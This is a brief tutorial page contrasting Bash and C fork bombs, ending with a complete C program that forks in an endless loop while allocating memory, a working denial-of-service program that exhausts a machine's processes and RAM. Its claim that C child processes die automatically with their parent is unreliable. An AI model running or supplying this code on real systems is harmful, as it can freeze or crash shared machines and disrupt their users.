C vs BASH Fork bomb in C/C++?


It is already cleared that the BASH fork bomb is much more powerful than its version of C program. The main cause is that in BASH the created process is detached from the parent. If the parent process (the one we initially started) is destroyed or killed, the remaining or rest of the processes live on. But in case of the C implementation, the listed child processes die automatically if the parent is destroyed or killed. A script is responsible to communicate with the system directly.

The fork bomb program in C can be updated or modified. We can be able to allocate memory in the program at the time of creating the fork processes.

Following program is treated as the implementation of modified C fork bomb −

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}

Updated on: 29-Jan-2020

285 Views

Kickstart Your Career

Get certified by completing the course

Get Started
Advertisements